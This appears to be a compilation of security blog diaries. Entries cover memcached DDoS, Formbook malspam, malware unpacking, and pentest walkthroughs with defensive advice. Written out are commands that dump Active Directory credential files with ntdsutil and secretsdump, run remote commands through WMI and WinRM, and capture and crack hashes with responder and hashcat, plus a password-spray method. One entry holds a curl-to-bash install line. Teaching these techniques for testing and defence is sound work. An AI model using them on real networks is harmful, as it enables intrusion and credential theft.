As pointed out earlier (https://isc.sans.edu/forums/diary/Why+we+Dont+Deserve+the+Internet+Memcached+Reflected+DDoS+Attacks/23389/) this memcached reflected DDoS thing is pretty bad.  How bad?  Well, US-CERT updated its UDP-Based Amplification Attacks advistory (https://www.us-cert.gov/ncas/alerts/TA14-017A) to add Memcache to the list of potential attack vectors.  The really telling bit is the chart that shows the Bandwidth Amplification Factor.  Before memcache was added the largest factor was 556.9 from NTP where each byte sent in to a vulnerable server would return about 557 bytes in attack traffic.  Memecache is listed as 10,000 to 51,000.  That's remarkably large.

How common is an internet-facing memcache daemon?  I did a little poking with Shodan (https://www.shodan.io/) and it had identified 100k or so systems.  Mostly in cloud provider spaces as you would expect.

So how did this happen?  I don't know much about memcache myself, so I think that makes me particulary qualified to take a stab at the answer.  Since I don't know what it is, or how to install it, I turn to google to help me out.  Buried in the wiki for memcached (https://github.com/memcached/memcached/wiki/ConfiguringServer) under the networking section one might read:

"By default memcached listens on TCP and UDP ports, both 11211. -l allows you to bind to specific interfaces or IP addresses. Memcached does not spend much, if any, effort in ensuring its defensibility from random internet connections. So you must not expose memcached directly to the internet, or otherwise any untrusted users. Using SASL authentication here helps, but should not be totally trusted."
 

But who has time for instructions, right?  What's Google tell me to do?  The top answer gives us:

Change the memcached configuration setting for CACHESIZE and -l :

1. Open /etc/memcached.conf in a text editor.
2. Locate the -m parameter.
3. Change its value to at least 1GB.
4. Locate the -l parameter.
5. Change its value to 127.0.0.1 or localhost.
6. Save your changes to memcached.conf and exit the text editor.
7. Restart memcached. 

Source: http://devdocs.magento.com/guides/v2.1/config-guide/memcache/memcache_ubuntu.html 

Hey, that looks right.  What about Digital Ocean's instructions (they have a lot of these open)?  https://www.digitalocean.com/community/tutorials/how-to-install-and-use-memcache-on-ubuntu-14-04

It has this as how it's started:

/usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1

That looks fine too.  So it's not a rash of bad instructions on the Internet.

Okay, how about stackoverflow/serverfault?  In the top question about memcache (https://serverfault.com/questions/347621/memcache-basic-configuration) we find an illuminating answer:

"The -l option regulates to which interfaces memcached will listen to, not which hosts will be served."
 

I wonder how many web-admins thought they needed to open up access to all of their clients. 

Let me start off by saying: If you have a memcached server in your environment that is exposed to the internet, then you should stop scanning for them, and spend your time writing a resume instead. Either because you do not want to work in an utterly incompetent organization like that, or if you are responsible for the exposed server, then well.. write a resume for a simpler job. (I was going to suggest a job here. But I can't come up with a job a sysadmin would be qualified for in a case like this)

Ok. Enough victim bashing (but in this case, you deserve it). The problem: Apparently people are exposing memcached to the internet. For many other services, I would qualify that statement: "without access control". But for memcached there is no access control. This is by design. You are not supposed to expose memcached to the internet, and it says so right in the configuration file:

# Specify which IP address to listen on. The default is to listen on all IP addresses
# This parameter is one of the only security measures that memcached has, so make sure
# it's listening on a firewalled interface.
-l 127.0.0.1

So what will happen if you do expose your memcached server? Imagine that: All your data will be "messed up" (that is a technical term people who do expose memcached servers may understand)

But not only that. memcached offers a simple "stats" command, that will return statistics about the memcached server. Since memcached typically talks via UDP (but TCP works too), you can send the "stats" command from a spoofed IP address. The payload will be 15 bytes. The reply on the other hand will be at least around 1500 bytes, but can be several 100 kBytes in size. 

So you got yourself a classic reflective amplified DDoS attack. Luckily, it isn't too hard to block. You should see traffic *from* port 11211 if you are hit by this attack. Blocking all traffic from port 11211 should be possible as all modern operating systems tend to use a source port higher than that for client connections. But given the traffic volumes people are seeing, you will likely need help "upstream" or from an anti-DDoS company.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Introduction

I wrote a diary about malicious spam (malspam) pushing the Formbook information stealer back in November 2017.  Formbook malspam is still a thing.  Recently, I've seen malspam with RTF attachments disguised as Word documents. These files use one of the recent exploits targeting unpatched versions of Microsoft Office like CVE-2017-8570 to infect computers with Formbook.

Today's diary reviews recent Formbook malspam from Monday 2018-02-26.

Details

The email is disguised as a requirements document for a supposed sale.  The email has a .docx attachment which is a decoy document that checks clean in VirusTotal.  The email also has an RTF attachment disguised as a .doc file with the Microsoft Office exploit.

Shown above:  Screenshot from the malspam.

Opening the .doc attachment caused the same type of activity I've seen with previous RTF attachments using a CVE-2017-8570 exploit to target unpatched versions of Microsoft Office.

Shown above:  Opening the RTF file on a vulnerable Windows host.

Post-infection traffic followed typical URL patterns I've seen before with Formbook.  However, an initial HTTP request was caused by the RTF attachment to retrieve the Formbook binary.  Checking that server, I found an open directory hosting other malware.  Some of the malware was Formbook, some of it was Loki-Bot, and some of it I couldn't immediately identify.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  Open directory on the compromised server showing more malware.

The infected Windows host showed the same type of artifacts I've seen previously with Formbook malware.  Formbook was made persistent on the infected Windows host through an update to the Windows registry.

Shown above:  Artifacts in the user's AppData\Roaming directory.

Shown above:  Windows registry showing Formbook persistent on the infected host.

File hashes

The following are SHA256 file hashes for malware from the compromised server's open directory:

• 1dc75220bb88f51c4b5360302d9a27e2c2b4371fd9bf7a4ea22fb473b7c2dc6c - amb001.exe
• b0e4efe1a8bba94620599f55d53242ed6a620fac21b0df37a6fd032b7f7e6887 - amo001.exe
• e4376d593b255d9d86c38bcafc03e6257578761250488f36170a06a7d986f853 - dew001.exe
• cb15dd1e1a8d6cf5c4104f5939d9299ad94803e58ec35cb4854b153878a00ce9 - dew002.exe
• ebe6a9d8157723f6094f2ffce63874b360858f9c72b523ed94f389f3d04c4942 - dew003.exe
• ec5355b2bbb85324152dea7ea091ab76de7a66dd2e6df31bfd764c5a2ece5cdc - dew004.exe
• f7ac0508367a4e674f44299d62c17b0001d9e8de8b219ddc190940dad1467997 - dew005.exe
• c702b7774bebf4dc0925c57a87adaa52349e14b43c2d1bd418d3cb3250ef1ab3 - emma001.exe
• bac0420c56402d30e21e1ce9e236efeb294c4a946d8945458593f1b16aa1172c - emma002.exe
• 8c65ba2730e674220ce7a6ccdedaf9d6876430f2ddc13fe4456b9c2eb26ceb08 - mine001.exe
• 37d2de8fd7283a9b2f66fda75a66795d9278b439948b4c17345087e2ab3cc641 - mine001.doc

NOTE: mine001.doc has the same file hash as the RTF attachment from the malspam named Specification.doc.

Final words

As always, properly-administered Windows hosts are unlikely to get infected.  To infect their computers, users would have to ignore multiple warnings from Microsoft Word when opening the malicious RTF attachment.  System administrators and the technically inclined can also implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

Pcap and malware samples for today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

In my last 2 posts we discussed recovering passwords in a penetration test, first by using password spraying and then by using LLMNR (using the responder tool).  In both cases we discussed that it’s pretty likely that you’ll recover domain admin credentials in these steps.

Where to go next?  The “gold” in password databases in most environments is Active Directory.  If you have that database, you’ve got *all* the credentials that have domain admin rights, all service passwords, credentials for IT folks, senior management, in most cases SQL passwords, linked Linux and Unix hosts, regular user and machine accounts, everything. 

First, we need to recover the actual database.  Let’s assume that you have at least one set of admin credentials and are operating from an internal host.  Connect to a domain controller – usually this is one of the DNS servers listed in the output of “ipconfig /all” on your host.  If you are on a Linux host, you’ll generally recover the DNS hosts from “cat /etc/resolv.conf”.  In both situations there’s dozens of ways to get the list of DNS hosts though, take your pick.  More accurate than collecting DNS servers though, if you are on Windows host and logged into the domain, you can get the logonserver Domain Controller hostname and DNS domain from local environment variables:

C:\>echo %logonserver%

\\CUSTOMERDC03

 

C:\>echo %userdnsdomain%

CUSTOMERDOMAIN.LOCAL

Next, connect to a domain controller – keep it simple, if it’s enabled, RDP usually does the job here. 

From a command prompt on the domain controller, run (command and output shown below).  Note that you can also snag this data from volume shadow copies, using purpose-built tools such as mimikatz or ninjacopy.  I usually try to use actual Windows commands whenever possible though.  Using what’s already in the OS makes it that much more likely that what you are doing will look like normal system administration to anyone looking at event logs.  Usually there’s nobody looking, but as a pentester you’re always safest off to assume that someone is watching for all of your attacks – keeping under the radar is always the best approach.

Anyway, let’s proceed on using ntdsutil, which is installed on every Domain Controller (Windows 2000 and newer):

C:\Windows\system32>ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntdsdump" q q
ntdsutil: ac i ntds
Active instance set to "ntds".
ntdsutil: ifm
ifm: create full c:\temp\ntdsdump
Creating snapshot...
Snapshot set {fd086867-d666-41de-89aa-ff1483aaf52c} generated successfully.
Snapshot {a943530a-4516-427d-8f20-2607a09fbb92} mounted as C:\$SNAP_201802251826
_VOLUMEC$\
Snapshot {a943530a-4516-427d-8f20-2607a09fbb92} is already mounted.
Initiating DEFRAGMENTATION mode...
     Source Database: C:\$SNAP_201802251826_VOLUMEC$\Windows\NTDS\ntds.dit
     Target Database: c:\temp\ntdsdump\Active Directory\ntds.dit

                  Defragmentation  Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ...................................................

Copying registry files...
Copying c:\temp\ntdsdump\registry\SYSTEM
Copying c:\temp\ntdsdump\registry\SECURITY
Snapshot {a943530a-4516-427d-8f20-2607a09fbb92} unmounted.
IFM media created successfully in c:\temp\ntdsdump
ifm: q
ntdsutil: q

You can run ntdsutil interactively, but for the purposes of collecting passwords a one liner gets the job done quickly and easily (and for me, with fewer typos).

If RDP isn’t available, you can collect the same information using a number of other native windows tools to run the same command remotely.

Using WMI:
Wmic /node:COMPUTER /user:DOMAIN\USERNAME /password:PASSWORD process call create “COMMAND”

Using PowerShell (WMI):
Invoke-WMIMethod -Class Win32_Process -Name Create –ArgumentList $COMMAND  –ComputerName $COMPUTER -Credential $CRED

(we covered how to create credentials in powershell here:  https://isc.sans.edu/forums/diary/ 21779/)

Using WinRM:
winrs –r:COMPUTER COMMAND

Using PowerShell Remoting:
Invoke-Command –computername $COMPUTER -command {$COMMAND}
New-PSSession -Name PSCOMPUTER –ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER

OK, now that we have the data dumped, let’s take a look at our target data.  We have the SYSTEM and SECURITY registry hives, as well as the ntds.dit file.

C:\Temp\ntdsdump>dir /s
 Volume in drive C has no label.
 Volume Serial Number is 4E9A-6FF1
Directory of C:\Temp\ntdsdump
02/25/2018  06:26 PM    <DIR>          .
02/25/2018  06:26 PM    <DIR>          ..
02/25/2018  06:26 PM    <DIR>          Active Directory
02/25/2018  06:26 PM    <DIR>          registry
               0 File(s)              0 bytes

 Directory of C:\Temp\ntdsdump\Active Directory

02/25/2018  06:26 PM    <DIR>          .
02/25/2018  06:26 PM    <DIR>          ..
02/25/2018  06:26 PM        77,611,008 ntds.dit
               1 File(s)     77,611,008 bytes

 Directory of C:\Temp\ntdsdump\registry

02/25/2018  06:26 PM    <DIR>          .
02/25/2018  06:26 PM    <DIR>          ..
01/05/2018  11:25 AM           262,144 SECURITY
01/05/2018  11:25 AM        12,582,912 SYSTEM
               2 File(s)     12,845,056 bytes

     Total Files Listed:
               3 File(s)     90,456,064 bytes
               8 Dir(s)   9,891,127,296 bytes free

The next step is to combine these files and parse out the usernames and password hashes.  Again there are multiple methods of getting this done – I’ll go with the one I find quickest and easiest.

Copy our 3 files (ntds.dit, SECURITY and SYSTEM) offline, the rest of the attack happens offline and off your customer’s network.  Be sure that you are careful in handling these files, these do contain user credentials for your customers network (in a hashed form) – leaving them behind on your customer’s network is NOT advisable, and you’ll want to be careful where they land once you start processing them.

Next step, copy these files to your local Kali Linux VM, and combine / parse them using secretsdump.py:

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL –output ntds.out

This dumps the user credentials in the format of:

Userid:SAM:LMHASH:NTLMHASH:::

Where next?  John the Ripper or Hashcat to reverse the hashes in most cases.  Stay tuned for that in Thursday’s post!  Pass the Hash is another common use for hashes, especially if you don't want to wait for the cracking process.

Protections from this Attack:

Keep track of your domain admins for starters.  It’s very common to find dozens of members in the Domain Admins or Enterprise Admins groups.  Other admin groups need protection as well – Print Operators, Server Operators and Account Operators all have more rights than you want to casually give up.

Track logins to Domain Controllers.  Really you’ll want to pump up your logging to track both successful and unsuccessful logins, Domain wide (not just on your Domain Controllers).   Yes, specifics on getting to better Windows / AD logging is on my list too, unless another handler beats me to it!

Limit logins to Domain Controllers.  Most IT groups are a bit too (or way too) free and easy with interactive access to Domain Controllers.  Lots of AD operations can be run from "admin" workstations or servers set up as jump boxes - you don't need RDP access to a Domain Controller to create a userid or change a password for instance.  This is a combination of:

• Better work habits - knowing when you need RDP and when you don't 
• Least privilege access - knowing which job roles need that access, and who needs access to a script or needs the proper tools installed on their workstation.

Also you’ll want to log the creation of and any accesses to Volume Shadow Copies (the other common method of extracting the ntds.dit and system hive).

Unfortunately, the Domain Controller ntds database and system registry hive are accessed dozens if not hundreds (or even thousands) of times per second, logging direct access to those is tough.  There's no "silver bullet" setting in today's versions of Windows that will prevent or catch an attacker who gets far enough in to dump your NTDS.DIT database.

===============
Rob VandenBrink
Compugen

I found an easier way to retrieve malware over Tor on Windows, using free open-source software.

Tallow uses Tor and WinDivert to redirect network connections over the Tor network.

After starting Tallow, press the Tor button:

Then you can use wget on Windows:

DEBUG output created by Wget 1.11.4 on Windows-MSVC.

--2018-02-25 23:56:22--  http://example.com/
Resolving example.com... seconds 0.00, 44.223.23.63
Caching example.com => 44.223.23.63
Connecting to example.com|44.223.23.63|:80... seconds 0.00, connected.
Created socket 300.
Releasing 0x0142ea78 (new refcount 1).

---request begin---
GET / HTTP/1.0

User-Agent: Wget/1.11.4

Accept: */*

Host: example.com

Connection: Keep-Alive

 

---request end---
HTTP request sent, awaiting response...
---response begin---
HTTP/1.0 200 OK

Cache-Control: max-age=604800

Content-Type: text/html

Date: Sun, 25 Feb 2018 22:56:24 GMT

Etag: "1541025663+gzip+ident"

Expires: Sun, 04 Mar 2018 22:56:24 GMT

Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT

Server: ECS (lga/1386)

Vary: Accept-Encoding

X-Cache: HIT

Content-Length: 1270

Connection: keep-alive

 

---response end---
200 OK
Registered socket 300 for persistent reuse.
Length: 1270 (1.2K) [text/html]
Saving to: `index.html'

     0K .                                                     100% 32.1M=0s

2018-02-25 23:56:23 (32.1 MB/s) - `index.html' saved [1270/1270]

Onion services can be accessed too:

By default, Tallow only allows TCP connections on port 80 and 443 (Force web-only). Disable this toggle if you need to access other ports.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

A coworker told me a few weeks ago that he started using Pi-hole to block all advertising and that got me curious. I checked the hardware requirements and already had a server I could install this on. I used CentOS 7.4 as my platform but before starting, make sure selinux isn't running because it isn't supported (It is one of the checks the installation script does). To check execute:

sestatus

If it return enabled change the configuration (see below) and reboot after it has been saved:

vi /etc/sysconfig/selinux, set selinux=disabled

Next make sure your server has a static address before running the installation and then you are ready to install.

I followed their recommended installation command: curl -sSL https://install.pi-hole.net | bash [1] but you can also install everything manually by following the steps here as Method 1 or 2.

The installation was pretty straight forward and it checked for any missing packages and added them to the server. I answered a series of question to setup the Pi-hole DNS server. After the installation you need to point all your clients to your new DNS server (forward internal DNS server to Pi-hole) to take advantage of the blocking capabilities. If you setup the web interface you can login via http://IP/admin and login with the default password provided after the installation (the password can be changed at the command line with: sudo pihole -a -p) or view the statistics via the Dashboard provided by the web server.

[1] https://pi-hole.net
[2] https://discourse.pi-hole.net/t/hardware-software-requirements/273
[3] https://github.com/pi-hole/pi-hole/#one-step-automated-install

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

The Center for Internet Security (CIS) has been working diligently to update the CIS Controls (formerly known as the Critical Security Controls). A compelling feature of the CIS Controls is their regular updates that reflect the current cyber threats that face organizations, both small and large. The CIS Controls are the product of a truly global collaboration effort. “The CIS Controls have always been the product of a global community of adopters, vendors, and supporters, and V7 will be no exception,” said Tony Sager, CIS Senior Vice President and Chief Evangelist for the CIS Controls.

CIS is providing an opportunity to participate in the CIS Controls Version 7 release event that takes place March 19 in Washington, D.C., with options to either attend in-person or remotely via live stream. If you have not yet applied the CIS Controls in your environment, the release event can serve as the catalyst you need to consider them as an integral part of your cyber roadmap! 

 

Russell Eubanks

ISC Handler

SANS Instructor

@russelleubanks

We ended yesterday’s story with what we hope was a successful password spray.  Let’s assume that we can then use one of the accounts we harvested in that exercise to VPN in and RDP to a host on the inside network.  
That’s a pretty safe assumption – it’s pretty common to get Domain Admin access from at least one of the harvested accounts in a password spray.

So, where do we go next from there?  Well, let’s take a look at LLMNR – Link Layer Multicast Name Resolution.  What’s that you say?  Think back, think waaaay back to Windows 95.  Back in those days, IP was pretty new to Windows admins, and name resolution tended to use WINS as much or more than DNS.  If you didn’t happen to have WINS or DNS set up, clients would send a local multicast request out on port UDP/5355 for name resolution.  And yes, that is still with us today.

But surely Windows 7 or 10 won’t actually *use* that, right?  Wrong-O!  LLMNR is still very much in the name resolution search order.  If you mis-type a server name when looking for or mounting a network share, mistype a printer name, or have a script that runs but targets a server that has been renamed or retired, the host will also make the LLMNR request.  For instance, trying to access "\\clown\college" will generate this packet:

A pentester can use a tool like responder to exploit this.  Responder for instance will respond with “Yes, That’s Me” to the LLMNR request, and the host will then attempt to connect, sending the user’s credentials to authenticate the connection (userid and password hash).  Running "responder -i <ip address> -I eth0" and capturing that same request as above will give you:
 

Oops.  You can then take that has as-is, feed it into hashcat (which just saw an awesome update yesterday by the way), and crack the password.  First, put just the hash we’re targeting into a text file, then use a decent dictionary.  Rockyou works nicely, the 1.7 million "consolidated" dictionary is my current go-to, but Troy Hunt's most recent 0.5 billion "pwnedpasswords" list might be a better option, stay tuned.
The syntax for today is hashcat64.bin –m 5600 hashes.in –a 6 -1 ?s?d dictionary.in ?1?1
This takes the dictionary file, and adds 2 digits of special characters / numeric digits to each word in the dictionary.

With 4 decent GPU’s, 1.7 million plus the 2 digits for one account goes pretty quick – 10 minutes does the job.

What does this mean?  What’s the point we’re making? The point of all this (aside from gathering credentials for the next pivot in your pentest) is to demonstrate that any malware or attacker capture these LLMNR packets once they are on the target network, and turn them into passwords.  If you are on the right subnet, the chances of capturing Domain Admin level credentials is almost 100% - people tend to embed credentials into scripts, creds turn into hashes once they hit the wire, and collecting the LLMNR packets gets you those hashes.

From a broader perspective, the real point and the real recommendation is that the customer should take a solid look at some hardening guides for both Windows and Active Directory - the Center for Internet Security is a good place to start for this ( https://www.cisecurity.org/cis-benchmarks/ ).  The best advice is to start at the top of the guide and work your way to the end, assessing each benchmark to see what it might break or affect in your environment.  I've never seen disabling LLMNR cause a problem in a production environment by the way, but please let us know in our comment form if you have!!

What should you recommend to your client?  Back to the specific recommendation, LLMNR is absolutely, positively NOT REQUIRED.  It can be easily disabled in Group Policy, and that setting should be applied globally (Computer Configuration / Policies / Admin Templates / Network / DNS Client / Turn off multicast name resolution).  LLMNR can also be disabled in the registry, for any stations that are not domain members.  Stand up a packet sniffer periodically, and look for udp/5355 packets to catch any stations that might have been missed.

 

 

 

===============
Rob VandenBrink
Compugen

Ok, maybe that's a bit dramatic.  But for most companies with web services, the answer is a serious "yes" for ditching passwords for those services.  Why is that?  Let's talk about how the typical external pentest might go.

After a quick scan of the customer's perimeter, usually we'll find a web server, somethink like an intranet, a Sharepoint server, something for folks to record their billable hours that day, something.  If you don't find that, there's always a mail server with a web interface - either on that perimeter or in the cloud (Office 365 for instance).  That being said, one or more of those servers will use a userid and password for authentication, and those credentials will almost always be sync'd up to an internal directory, usuall Active Directory.

So how do you go about attacking something like that?  In most cases there is a "3 or 5 strikes and you're out" password lockout policy in play.  If you are in a Penetration Test engagement, you definitely, absolutely don't want to be the person that locked out the entire company.  So where do we go next?  The answer of course is LinkedIn.

Normally we call this step Reconnaissance, "Open Source Intelligence", or OSINT for short.  In penetration testing most organizations though, we can shorten this to just LinkedIn (for this step of the pentest anyway).  What we need to start with is a list of folks who work in the organization, and where better to start than at that site?  You can certainly use LinkedIn's API to simply query the site for a list of folks who work there - ReconNG does a good job of this (a tutorial is here: https://www.codemetrix.net/practical-osint-recon-ng/).  However, whenever I try this I tend to find that LinkedIn has changed their API enough that my last code snip isn't re-usable anymore.  Google will give you a decent list here, and Google always works - google for:
"Company Name Here" Profile site:linkedin.com

In most medium to large organizations, this will give you hundreds of pages of returns, more data than you want and more importantly in a format that's less than useful.
SearchDiggity (https://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/) will dump a "just the facts" result set for you, in a text format that you can parse out using grep, sed, awk or even Excel in a pinch. 
Now that you have names, you want to convert them to userids - for most companies you want to convert "John Doe" to "jdoe" or "jdoe@company.com" (or both).  Note that some companies might truncate usernames, or have a different naming policy (doe.j, j.doe or maybe something else entirely) - if you can get that naming policy that will really save you some time in this step.  It's worth looking at any corporate websites you might find, quite often you'll find that policy posted publically.  Because information like that should be "free and open" says lots of HR departments (but no infosec person ever!)

What next?  Now you are set for your password spray.  You've got one or more target websites, and a list of userids.  For passwords, you'll need a short-ish list of passwords, maybe a couple of hundred or two to start with.  Googling for "worst passwords on the internet" is a good start.  Add a few local sports teams, university sports teams, also add the perennial "Season" passwords (counting back).  Let's see, it's the winter of 2018, so let's go with "Winter2018", Fall2017, Autumn2017, Summer2017.  Do the same for months, starting again from Feb2018 and February2018.  If there's a favourite restaurant, beer or food that people in the organization might have mentioned (you should ask), get that in your list too!  Tools like CEWL can be also used to harvest organization-specific words from the corporate websites - things like internal contest names, the words margin, target or profit (in a sales driven company) and so on.  The goal here is to collect obvious and obviously bad passwords - we'll get into why in a minute

Now run your list through something like hashcat's mask processor - you want to take that list, and duplicate it with things like "!" "!!" and "?" at the end of each word.  Also create duplicates with the easy leet-speak substitutions (zero's for o's, "@" for a and so on), in different combinations.  This is an important step, as most organizations will have a password policy that requires "special characters".  However, keep in mind that you don't want an exhaustive list here, you want a list that's "good enough", that follows along with what a normal person would choose for.  So don't go crazy with the special characters - folks usually end a word with an exclamation point, maybe add a number (quite often based on the month or year), and call it done - that's what you want in this list.  

Now, we use a tool or program to take each password and try each user against that password, in turn.  This approach is called a "Password Spray", the goal of this approach is to NOT trigger the "three failed attempts in 5 minutes locks the account" rule.  With a decent user list and an OK password list, a password spray will generally take 5 minutes or so to cycle through 3 passwords.  Just to be sure, add a "time elapsed" timer and a delay to the loop in your code.

You usually don't need to write code for this - tools like Hydra, Medusa or Patator are written exactly for this task.  Burp can also be used if it's a more complex web interface.  Tools like mailsniper are written specifically for OWA and EWS (Exchange Web Services).  Some of these tools won't have that "wait" timer that you need - you can fake that by adding some dummy passwords to the list, or by using a simple CMD or Bash script around these tools.

In my last pentest I really wanted to write some code to do this for OWA (that code is here: https://github.com/robvandenbrink/owaspray).  It's inefficient, but that's OK in this case, it still beat the "5 minute" limit for the client I was working with, so I did end up using the loop delay.  You can mount this style of attack against websites, exposed RDP, telnet or SSH services, really anything that will take a userid/password.  Be smart about picking your target though - Outlook Web Access will for instance be much more likely to be linked to Active Directory (or whatever the internal authentication source is) than an exposed router or switch might be.

If you want a faster piece of code to run against Exchange, look at the post on attacking the Exchange Web Services API on the BHIS site (https://www.blackhillsinfosec.com/introducing-mailsniper-a-tool-for-searching-every-users-email-for-sensitive-data/ and https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/).  The Web Services are WAY faster than the native HTTPS interface to Exchange.

The result?  You will ALWAYS find valid credentials with this approach.  You will ALMOST ALWAYS see that at least one of the credentials you find this way will get you Domain Administrator access to Active Directory.

So, after all that, aside from breaking in, what is the point of this exercise?  What point are we making to our customer that has us running a penetration test against their infrastructure?  The point you are making to your customer is that exposing AD userids and passwords to the internet is a TRULY BAD IDEA.  Especially since in your penetration test you took the credentials you just gained and used them in the next step of your attack - which usually nets you even more domain credentials.  If you are REALLY trying to make this point, try running your attack only with the passwords based on seasons and months!

Recommendations?  Really there are two recommendations that come out of this.  The main one of course is to use Two Factor or Multifactor Authentication.  With a 2FA/MFA solution in place, it's much (much) more difficult to gain access.  If you are looking at a new MFA solution, be sure that it doesn't use SMS - that seems to be a nice target this year!

Be sure to use MFA on everything that faces the internet!  If you add MFA to your VPN service but leave your intranet or CRM running with userids and passwords, you've done half the job, and in some cases the service that was left with password authentication might not implement password lockout (yup, I have seen that in recent memory)

Another recommendation might be to use passphrases instead of passwords - getting those first factor passwords up above 15-20 characters makes this much more difficult.  However, it doesn't make this impossible, not by a long shot - especially if $companyname or $firstname+$lastname length is be above 15 characters (as mine is :-) )  This is more a recommendation that should come out of the internal pentest than the external one (stay tuned).

Tools Referenced (many of these are pre-packaged on Kali Linux):

Recon-NG: https://bitbucket.org/LaNMaSteR53/recon-ng
Hashcat maskprocessor: https://hashcat.net/wiki/doku.php?id=maskprocessor
Hydra: http://sectools.org/tool/hydra/
Medusa: http://foofus.net/goons/jmk/tools/
Cewl: https://digi.ninja/projects/cewl.php
Mailsniper: https://github.com/dafthack/MailSniper
SearchDiggity: https://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/
OWASpray: https://github.com/robvandenbrink/owaspray

 

===============
Rob VandenBrink
Compugen

After going through an almost endless amount of encoded droppers and loader scripts while analyzing a Brazilian banker, I finally managed to reach the actual payload, an interestingly packed/encrypted banking malware. How I statically unpacked this payload is the subject of today’s diary and I hope it will help you in your future analysis.

The Sample

One of the first things we do when we get a new sample is using a tool to identify important characteristics of the file, like the file type (whether it’s a PE or ELF file), the compiler, if it is packed and, luckily, the packer used. Packing is a very common way used by adversaries to compress the malware and make it harder to reverse engineer.

Let’s take a look at our sample using the Die (Detect it Easy) tool.

Figure 1 – Sample information

Among other things, Die tries to detect the sample packer based on binary signatures. If it does match with any known ones, it is shown near the compiler and link information. If it does not, as ours did, you may try to figure it out by analyzing the file’s entropy. The higher the entropy or randomness of a binary file, higher are chances it is packed. Let’s check it out.

Figure 2 – Sample entropy

As you can see, the overall entropy is very high (7.97 out of 8), which indicates, with a high probability, the file is packed.

Analyzing this sample with IDA Pro, there is another great indicator of packing. As seen in Figure 3, there is a tiny block of real code (blue color) in the beginning of IDA’s overview navigator band followed by a giant blob of data (brown color) where the packed malware payload might be.

Figure 3 – Sample graphic view into IDA Pro

In situations like those, where the file is packed by an unknown packer, there is a great chance the malware developer used a self-made function to pack the payload. Let’s try to find it.

Looking for packing function

Moving the navigator overview to the beginning of the giant blob, it is possible to find its start address, as seen in Figure 4.

Figure 4 – Blob start address

Additionally, to start address (0x6D1C9020), there is an important information in this figure, which is the function that refers to it (sub_6D1C1FD9:loc_6D1C213C). In other words, there is a great chance this is the unpacking function.

Moving forward to this function, we have the assembly code shown in Figure 5.

Figure 5 – Unpacking function analysis

From this we have:

1. The payload size: we already knew the payload initial address (0x6D1C9020), but we didn’t know yet its size. Now we have it: 0x2F4200h;
2. The blob packed address is loaded into “rsi” register;
3. Decryption loop comparing r12 (blob size) with “rax” (the loop counter) while interacting with blob bytes;
4. Decryption function: xor <blob byte> with 8h;

So, as seen, this is the packing function. Let’s move on.

Unpacking

Now, it’s time to try to unpack the payload using the found function. To this end, it’s necessary to extract the packed payload from the binary and implement a function to interact with its bytes while applying the ‘xor’ function.

To extract the packed payload, I used the Python script [1] shown in Figure 6. It basically receives the initial address and size of the blob and the output file.

Figure 6 – Memdump IDA Pro Python script by herrcode [1]

The result of this operation will be a bunch of bytes with no meaning, as expected, as seen in Figure 7.

Figure 7 – Extracted packed payload

Finally, it’s time to try to decrypt this payload applying the ‘xor’ function. To this end, I implemented a simple Powershell script, as seen in Figure 8.

Figure 8 – Unpacking Python Script

After running this script against the packed content, I ended up with the binary code shown in Figure 9.

Figure 9 – Unpacked binary

As seen, the result is an executable binary file (MZ header), which means the unpacking/decrypting process run successfully.

Normally, at this point, we should have a more palatable binary, in theory, easier to be handled in a static analysis. However, in this case, the resultant binary was also packed and I had to apply the same process to open it until I had enough information on the malware intentions and IOCs.

Final notes

While writing this diary, I found a very interesting video [2] from Sergei Frankoff (@herrcode), which helped me a lot better structuring my analysis and report. Thanks for sharing with the community @herrcore.

Binary Hash

a3de2862fc7cc4aa27cccfcef2c094b7f6eebb6aab73507c1836be8c3b80fedb

References

[1] http://codegists.com/snippet/python/ida_memdumppy_herrcore_python
[2] https://www.youtube.com/watch?v=HfSQlC76_s4

-
Renato Marinho
Morphus Labs| LinkedIn| Twitter

Xavier wrote a diary entry about an interesting malware sample: MSI files.

As Xavier mentioned, MSI files are Composite Document Files, or as I like to call them, ole files. MSI files can be inspected with tools that handle OLE files, like 7-Zip, oletools, oledump, ...

I've had to analyze MSI files (bening and malware), and used my tool oledump to search for executables (PE files) inside MSI files. oledump is one of several tools that supports YARA rules. I have a YARA rule, contains_pe_file, that searches for embedded PE files by looking for the MZ and PE header. Here I use oledump with that YARA rule:

In this MSI file, streams 4 and 5 contain a PE file. Looking at the content of stream 4, we can see that it is actually a CAB file (header MSCF) containing a PE file:

MSI file will often contain CAB files.

Stream 5 contains a PE file:

Looking back at the first screenshot, the stream names don't make much sense (they are hexadecimal values), while Xavier's examples show legible steam names. I did some research, and found out that MSI stream names are encoded with unused UNICODE code points. I developed a new oledump plugin, plugin_msi, to decode MSI stream names, and also provide info like the header (ASCII) and MD5 hash of the streams:

The name of stream 5 (Binary.bz.CustomActionDll) is a good indicator that the embedded PE file is a DLL. This can be confirmed by inspecting the embedded PE file, with a tool like pecheck for example:

If you prefer a GUI tool to analyze MSI files, then know that there are several MSI GUI tools for developers, like Orca.

Do you have a preferred tool to analyze MSI files? Please post a comment!

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Last week I researched how to detect signed VBA code in Word .doc files.

For .docm files, it's easier. .docx and .docm files are actually ZIP files, and a .docm file (Word document with VBA macros) contains file vbaProjectSignature.bin when the VBA code is signed.

 

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

